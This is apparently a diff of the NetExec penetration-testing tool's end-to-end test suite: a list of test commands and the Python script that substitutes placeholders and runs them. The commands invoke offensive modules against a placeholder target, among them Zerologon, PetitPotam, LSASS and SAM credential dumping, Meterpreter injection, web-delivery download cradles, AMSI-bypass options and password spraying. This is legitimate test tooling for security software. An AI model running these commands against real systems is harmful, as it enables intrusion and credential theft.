netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M reg-query -o PATH=HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion KEY=DevicePath
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M runasppl --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M runasppl
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M scuffy -o SERVER=127.0.0.1 NAME=test
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M scuffy --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M scuffy -o NAME=test CLEANUP=True
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadowcoerce --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadowcoerce
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M slinky --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M slinky -o SERVER=127.0.0.1 NAME=test
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M slinky -o NAME=test CLEANUP=True
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spider_plus --options
# spider_plus takes a while to run, so it is commented out during normal testing
# netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spider_plus -o MAX_FILE_SIZE=100
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M teams_localdb --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M teams_localdb
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M test_connection --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M test_connection -o HOST=localhost
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M uac --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M uac
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M veeam --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M veeam
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc -o NO_REMOTEOPS=True
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wdigest --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wdigest -o ACTION=enable
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wdigest -o ACTION=disable
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M web_delivery --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M web_delivery -o URL=localhost/dl_cradle
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M webdav --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M webdav
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M webdav -o MSG="Message: {}"
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M winscp --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M winscp
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M zerologon --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M zerologon
# test for multiple modules at once
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler -M petitpotam -M zerologon -M nopac -M dfscoerce -M enum_av -M enum_dns -M gpp_autologin -M gpp_password -M lsassy -M impersonate -M install_elevated -M ioxidresolver -M ms17-010 -M ntlmv1 -M runasppl -M shadowcoerce -M uac -M webdav -M wifi
@@ -135,26 +147,10 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler
netexec smb TARGET_HOST -u '' -p '' -M zerologon
netexec smb TARGET_HOST -u '' -p '' -M petitpotam
##### SMB Auth File
netexec smb TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce
netexec smb TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce --continue-on-success
netexec smb TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE
##### SMB Hash File
netexec smb TARGET_HOST -u LOGIN_USERNAME -H tests/data/test_hashes.txt
netexec smb TARGET_HOST -u TEST_USER_FILE -H tests/data/test_hashes.txt
##### WMI
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --wmi-namespace root/cimv2
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x whoami
##### WMI Modules
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ioxidresolver
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M zerologon
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_dns
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get_netconnections
#netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=enable
#netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=disable
netexec smb TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt --no-bruteforce
netexec smb TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt --no-bruteforce --continue-on-success
netexec smb TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt
##### LDAP
netexec {DNS} ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --users
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --groups
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --get-sid
@@ -166,20 +162,32 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --gmsa
##### LDAP Modules
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -L
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M adcs
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M adcs --options
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M daclread -o TARGET=LOGIN_USERNAME ACTION=read
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M daclread --options
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-desc-users
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-desc-users --options
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-network
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-network --options
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M groupmembership --options
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M groupmembership -o USER=LOGIN_USERNAME
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M laps
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M laps --options
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ldap-checker
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ldap-checker --options
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M maq
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M maq --options
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M subnets
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M subnets --options
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M user-desc
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M user-desc --options
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M whoami
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M whoami --options
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pso
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pso --options
##### WINRM
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X whoami
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam --dump-method cmd
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam --dump-method powershell
@@ -195,53 +203,42 @@ netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --port 59
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --check-proto http --port 5985
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --check-proto https --port 5986
##### MSSQL
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # Need a space at the end for kerb regex
netexec {DNS} mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # Need a space at the end for kerb regex
##### MSSQL PowerShell
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --amsi-bypass AMSI_BYPASS_FILE
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass AMSI_BYPASS_FILE
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --amsi-bypass AMSI_BYPASS_FILE
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --amsi-bypass AMSI_BYPASS_FILE
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --no-encode
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --no-encode
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --no-encode
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --no-encode
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --amsi-bypass AMSI_BYPASS_FILE --no-encode
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass AMSI_BYPASS_FILE --no-encode
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --clear-obfscripts # current we don't really use?
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
##### MSSQL Modules
# netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD -M empire_exec
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -L
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4443 RAND=12345
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4444 RAND=12345
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M met_inject --options
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_priv
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_priv --options
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M nanodump
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M nanodump --options
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M test_connection --options
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M test_connection -o HOST=localhost
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M web_delivery --options
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M web_delivery -o URL=localhost/dl_cradle
# a bit janky, but we try to enable RDP before testing RDP
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=enable
##### RDP
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
netexec {DNS} rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --nla-screenshot
##### SSH - Default test passwords and random key; switch these out if you want correct authentication
netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD
netexec ssh TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce
netexec ssh TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce --continue-on-success
netexec ssh TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE
netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --key-file tests/data/test_key.priv
netexec ssh TARGET_HOST -u LOGIN_USERNAME -p '' --key-file tests/data/test_key.priv
netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check
netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check --sudo-check-method sudo-stdin
netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check --sudo-check-method sudo-stdin --get-output-tries 10
netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check --sudo-check-method mkfifo
netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check --sudo-check-method mkfifo --get-output-tries 10
netexec ssh TARGET_HOST -u USERNAME -p PASSWORD
netexec ssh TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt --no-bruteforce
netexec ssh TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt --no-bruteforce --continue-on-success
netexec ssh TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt
netexec ssh TARGET_HOST -u USERNAME -p PASSWORD --key-file data/test_key.priv
netexec ssh TARGET_HOST -u USERNAME -p '' --key-file data/test_key.priv
netexec ssh TARGET_HOST -u USERNAME -p PASSWORD --sudo-check
netexec ssh TARGET_HOST -u USERNAME -p PASSWORD --sudo-check --sudo-check-method sudo-stdin
netexec ssh TARGET_HOST -u USERNAME -p PASSWORD --sudo-check --sudo-check-method sudo-stdin --get-output-tries 10
netexec ssh TARGET_HOST -u USERNAME -p PASSWORD --sudo-check --sudo-check-method mkfifo
netexec ssh TARGET_HOST -u USERNAME -p PASSWORD --sudo-check --sudo-check-method mkfifo --get-output-tries 10
##### FTP- Default test passwords and random key; switch these out if you want correct authentication
netexec ftp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD
netexec ftp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --ls
netexec ftp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --put tests/data/test_file.txt test_file.txt
netexec ftp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --get test_file.txt
netexec ftp TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce
netexec ftp TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce --continue-on-success
netexec ftp TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE
netexec ftp TARGET_HOST -u USERNAME -p PASSWORD
netexec ftp TARGET_HOST -u USERNAME -p PASSWORD --ls
netexec ftp TARGET_HOST -u USERNAME -p PASSWORD --put data/test_file.txt test_file.txt
netexec ftp TARGET_HOST -u USERNAME -p PASSWORD --get test_file.txt
netexec ftp TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt --no-bruteforce
netexec ftp TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt --no-bruteforce --continue-on-success
netexec ftp TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt
+24 -135
View File
@@ -1,29 +1,15 @@
import argparse
from os import getcwd
from os.path import dirname, abspath, join, realpath, isfile, normpath
import subprocess
from time import time
from rich.console import Console
import platform
import os
from nxc.paths import TMP_PATH
import sys
if sys.stdout.encoding == "cp1252":
sys.stdout.reconfigure(encoding="utf-8")
script_dir = dirname(abspath(__file__))
run_dir = os.getcwd()
import subprocess
from rich.console import Console
def get_cli_args():
parser = argparse.ArgumentParser(description="Script for running end to end tests for nxc")
parser.add_argument(
"--executable",
default="netexec"
)
parser.add_argument(
"-t",
"--target",
dest="target",
required=True
)
parser.add_argument(
@@ -74,111 +60,31 @@ def get_cli_args():
required=False,
help="Protocols to test",
)
parser.add_argument(
"--line-nums",
nargs="+",
type=parse_line_nums,
required=False,
help="Specify line numbers or ranges to run commands from",
)
parser.add_argument(
"--test-user-file",
required=False,
default=normpath(join(script_dir, "data", "test_users.txt")),
help="Path to the file containing test usernames",
)
parser.add_argument(
"--test-password-file",
required=False,
default=normpath(join(script_dir, "data", "test_passwords.txt")),
help="Path to the file containing test passwords",
)
parser.add_argument(
"--amsi-bypass-file",
required=False,
default=normpath(join(script_dir, "data", "test_amsi_bypass.txt")),
help="Path to the file containing AMSI bypasses",
)
parser.add_argument(
"--test-normal-file",
required=False,
default=normpath(join(script_dir, "data", "test_file.txt")),
help="Path to file to upload/download"
)
parser.add_argument(
"--dns-server",
action="store",
required=False,
help="Specify DNS server",
)
return parser.parse_args()
def parse_line_nums(value):
line_nums = []
for item in value.split():
if "-" in item:
start, end = item.split("-")
line_nums.extend(range(int(start), int(end) + 1))
else:
line_nums.append(int(item))
return line_nums
def generate_commands(args):
lines = []
file_loc = realpath(join(getcwd(), dirname(__file__)))
commands_file = join(file_loc, "e2e_commands.txt")
file_loc = os.path.realpath(os.path.join(os.getcwd(), os.path.dirname(__file__)))
commands_file = os.path.join(file_loc, "e2e_commands.txt")
with open(commands_file) as file:
if args.line_nums:
flattened_list = list({num for sublist in args.line_nums for num in sublist})
for i, line in enumerate(file):
if i + 1 in flattened_list:
if line.startswith("#"):
continue
if "#" in line:
line = line.split("#")[0]
line = line.strip()
if args.protocols:
if line.split()[1] in args.protocols:
lines.append(replace_command(args, line))
else:
lines.append(replace_command(args, line))
else:
for line in file:
if line.startswith("#"):
continue
if "#" in line:
line = line.split("#")[0]
line = line.strip()
if args.protocols:
if line.split()[1] in args.protocols:
lines.append(replace_command(args, line))
else:
for line in file:
if line.startswith("#"):
continue
line = line.strip()
if args.protocols:
if line.split()[1] in args.protocols:
lines.append(replace_command(args, line))
else:
lines.append(replace_command(args, line))
return lines
def replace_command(args, line):
if isfile(join(getcwd(), args.executable)):
args.executable = abspath(join(getcwd(), args.executable))
kerberos = "-k " if args.kerberos else ""
dns_server = f"--dns-server {args.dns_server}" if args.dns_server else ""
line = line\
.replace("netexec", args.executable)\
.replace("TARGET_HOST", args.target)\
.replace("LOGIN_USERNAME", f'"{args.username}"')\
.replace("LOGIN_PASSWORD", f'"{args.password}"')\
.replace("KERBEROS ", kerberos)\
.replace("TEST_USER_FILE", args.test_user_file)\
.replace("TEST_PASSWORD_FILE", args.test_password_file)\
.replace("AMSI_BYPASS_FILE", args.amsi_bypass_file)\
.replace("TEST_NORMAL_FILE", args.test_normal_file)\
.replace("{DNS}", dns_server)\
.replace("/tmp", TMP_PATH)
line = line.replace("TARGET_HOST", args.target).replace("LOGIN_USERNAME", f'"{args.username}"').replace("LOGIN_PASSWORD", f'"{args.password}"').replace("KERBEROS ", kerberos)
if args.poetry:
line = f"poetry run {line}"
return line
@@ -187,67 +93,50 @@ def replace_command(args, line):
def run_e2e_tests(args):
console = Console()
tasks = generate_commands(args)
tasks_len = len(tasks)
failures = []
result = subprocess.Popen(
f"{args.executable} --version",
"netexec --version",
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
)
version = result.communicate()[0].decode().strip()
with console.status(f"[bold green] :brain: Running {tasks_len} test commands for nxc v{version}..."):
start_time = time()
with console.status(f"[bold green] :brain: Running {len(tasks)} test commands for nxc v{version}..."):
passed = 0
failed = 0
while tasks:
task = str(tasks.pop(0))
# replace double quotes with single quotes for Linux due to special chars/escaping
if platform.system() == "Linux":
task = task.replace('"', "'")
# we print the command before running because very often things will timeout and we want the last thing ran
console.log(f"Running command: {task}")
task = tasks.pop(0)
console.log(f"Running command: {task!s}")
result = subprocess.Popen(
task,
str(task),
shell=True,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
cwd=abspath(join(dirname(__file__), "..")),
)
# pass in a "y" for things that prompt for it (--ndts, etc)
text = result.communicate(input=b"y")[0]
return_code = result.returncode
if return_code == 0 and "Traceback (most recent call last)" not in text.decode("utf-8"):
console.log(f"└─$ {task.strip()} [bold green]:heavy_check_mark:[/]")
if return_code == 0:
console.log(f"{task.strip()} :heavy_check_mark:")
passed += 1
else:
console.log(f"[bold red]{task.strip()} :cross_mark:[/]")
failures.append(task.strip())
failed += 1
if args.errors:
raw_text = text.decode("utf-8")
# this is not a good way to detect errors, but it does catch a lot of things
if "error" in raw_text.lower() or "failure" in raw_text.lower() or "Traceback (most recent call last)" in raw_text:
if "error" in raw_text.lower() or "failure" in raw_text.lower():
console.log("[bold red]Error Detected:")
console.log(f"{raw_text}")
if args.verbose:
# this prints sorta janky, but it does its job
console.log(f"[*] Results:\n{text.decode('utf-8')}")
if failures:
console.log("[bold red]Failed Commands:")
for failure in failures:
console.log(f"[bold red]{failure}")
console.log(f"Ran {tasks_len} tests in {int((time() - start_time) / 60)} mins and {int((time() - start_time) % 60)} seconds - [bold green] Passed: {passed} [bold red] Failed: {failed}")
console.log(f"Tests [bold green] Passed: {passed} [bold red] Failed: {failed}")
if __name__ == "__main__":